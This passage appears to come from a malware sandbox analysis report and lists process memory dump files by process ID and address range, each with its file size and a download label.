memory/2940-320-0x00000000041D0000-0x0000000004446000-memory.dmp

Filesize
2.5MB

Download
memory/2940-319-0x00000000041D0000-0x0000000004446000-memory.dmp

Filesize
2.5MB

Download
memory/3140-110-0x000001E96F3E0000-0x000001E96F402000-memory.dmp

Filesize
136KB

Download
memory/3224-211-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3224-198-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3224-200-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3496-912-0x0000000074EF0000-0x0000000074F75000-memory.dmp

Filesize
532KB

Download
memory/3832-189-0x0000000006740000-0x000000000675E000-memory.dmp

Filesize
120KB

Download
memory/3832-155-0x0000000005F50000-0x0000000005FB6000-memory.dmp

Filesize
408KB

Download
memory/3832-870-0x0000000005950000-0x0000000005A6C000-memory.dmp

Filesize
1.1MB

Download
memory/3832-871-0x00000000054A0000-0x00000000054C2000-memory.dmp

Filesize
136KB

Download
memory/3832-869-0x0000000005670000-0x0000000005846000-memory.dmp

Filesize
1.8MB

Download
memory/3832-257-0x0000000007D90000-0x0000000007D98000-memory.dmp

Filesize
32KB

Download
memory/3832-256-0x0000000007DB0000-0x0000000007DCA000-memory.dmp

Filesize
104KB

Download
memory/3832-255-0x0000000007CC0000-0x0000000007CD4000-memory.dmp

Filesize
80KB

Download
memory/3832-254-0x0000000007CB0000-0x0000000007CBE000-memory.dmp

Filesize
56KB

Download
memory/3832-253-0x0000000007C80000-0x0000000007C91000-memory.dmp

Filesize
68KB

Download
memory/3832-247-0x0000000007CF0000-0x0000000007D86000-memory.dmp

Filesize
600KB

Download
memory/3832-234-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

Filesize
40KB

Download
memory/3832-233-0x0000000007A90000-0x0000000007AAA000-memory.dmp

Filesize
104KB

Download
memory/3832-232-0x0000000008110000-0x000000000878A000-memory.dmp

Filesize
6.5MB

Download
memory/3832-782-0x00000000008B0000-0x0000000000BAA000-memory.dmp

Filesize
3.0MB

Download
memory/3832-229-0x0000000007940000-0x00000000079E3000-memory.dmp

Filesize
652KB

Download
memory/3832-228-0x0000000006D20000-0x0000000006D3E000-memory.dmp

Filesize
120KB

Download
memory/3832-217-0x000000006E7D0000-0x000000006E81C000-memory.dmp

Filesize
304KB

Download
memory/3832-215-0x0000000007900000-0x0000000007932000-memory.dmp

Filesize
200KB

Download
memory/3832-150-0x0000000003170000-0x00000000031A6000-memory.dmp

Filesize
216KB

Download
memory/3832-191-0x00000000067E0000-0x000000000682C000-memory.dmp

Filesize
304KB

Download
memory/3832-151-0x0000000005920000-0x0000000005F48000-memory.dmp

Filesize
6.2MB

Download
memory/3832-181-0x0000000006200000-0x0000000006554000-memory.dmp

Filesize
3.3MB

Download
memory/3832-153-0x0000000005850000-0x00000000058B6000-memory.dmp

Filesize
408KB

Download
memory/3832-152-0x00000000057B0000-0x00000000057D2000-memory.dmp

Filesize
136KB

Download
memory/3856-288-0x000001B43A150000-0x000001B43A252000-memory.dmp

Filesize
1.0MB

Download
memory/3856-274-0x000001B421550000-0x000001B42158E000-memory.dmp

Filesize
248KB

Download
memory/3856-295-0x000001B43A150000-0x000001B43A252000-memory.dmp

Filesize
1.0MB

Download
memory/4112-98-0x0000000000400000-0x0000000000643000-memory.dmp

Filesize
2.3MB

Download
memory/4112-96-0x0000000000400000-0x0000000000643000-memory.dmp

Filesize
2.3MB

Download
memory/4512-855-0x00000000052B0000-0x0000000005474000-memory.dmp

Filesize
1.8MB

Download
memory/4512-854-0x00000000050D0000-0x00000000052B0000-memory.dmp

Filesize
1.9MB

Download
memory/4512-723-0x0000000000280000-0x00000000004FE000-memory.dmp

Filesize
2.5MB

Download
memory/4512-724-0x0000000004E30000-0x0000000004ECC000-memory.dmp

Filesize
624KB

Download
memory/4512-856-0x0000000004D10000-0x0000000004D32000-memory.dmp

Filesize
136KB

Download
memory/4628-197-0x00007FF9D4A80000-0x00007FF9D5541000-memory.dmp

Filesize
10.8MB

Download
memory/4628-231-0x00000249133A0000-0x00000249134A2000-memory.dmp

Filesize
1.0MB

Download
memory/4628-0-0x00007FF9D4A83000-0x00007FF9D4A85000-memory.dmp

Filesize
8KB

Download
memory/4628-2-0x00007FF9D4A80000-0x00007FF9D5541000-memory.dmp

Filesize
10.8MB

Download
memory/4628-1-0x0000024911600000-0x000002491160A000-memory.dmp

Filesize
40KB

Download
memory/5104-23-0x0000000000180000-0x000000000024C000-memory.dmp

Filesize
816KB

Download
memory/5104-22-0x0000000073DBE000-0x0000000073DBF000-memory.dmp

Filesize
4KB

Download
memory/5104-32-0x00000000051D0000-0x0000000005774000-memory.dmp

Filesize
5.6MB

Download
memory/5104-99-0x00000000078C0000-0x0000000007940000-memory.dmp

Filesize
512KB

Download
memory/5104-46-0x0000000004C20000-0x0000000004CB2000-memory.dmp

Filesize
584KB

Download
memory/5104-269-0x0000000073DBE000-0x0000000073DBF000-memory.dmp

Filesize
4KB

Download
memory/5104-60-0x0000000004DD0000-0x0000000004DDA000-memory.dmp

Filesize
40KB

Download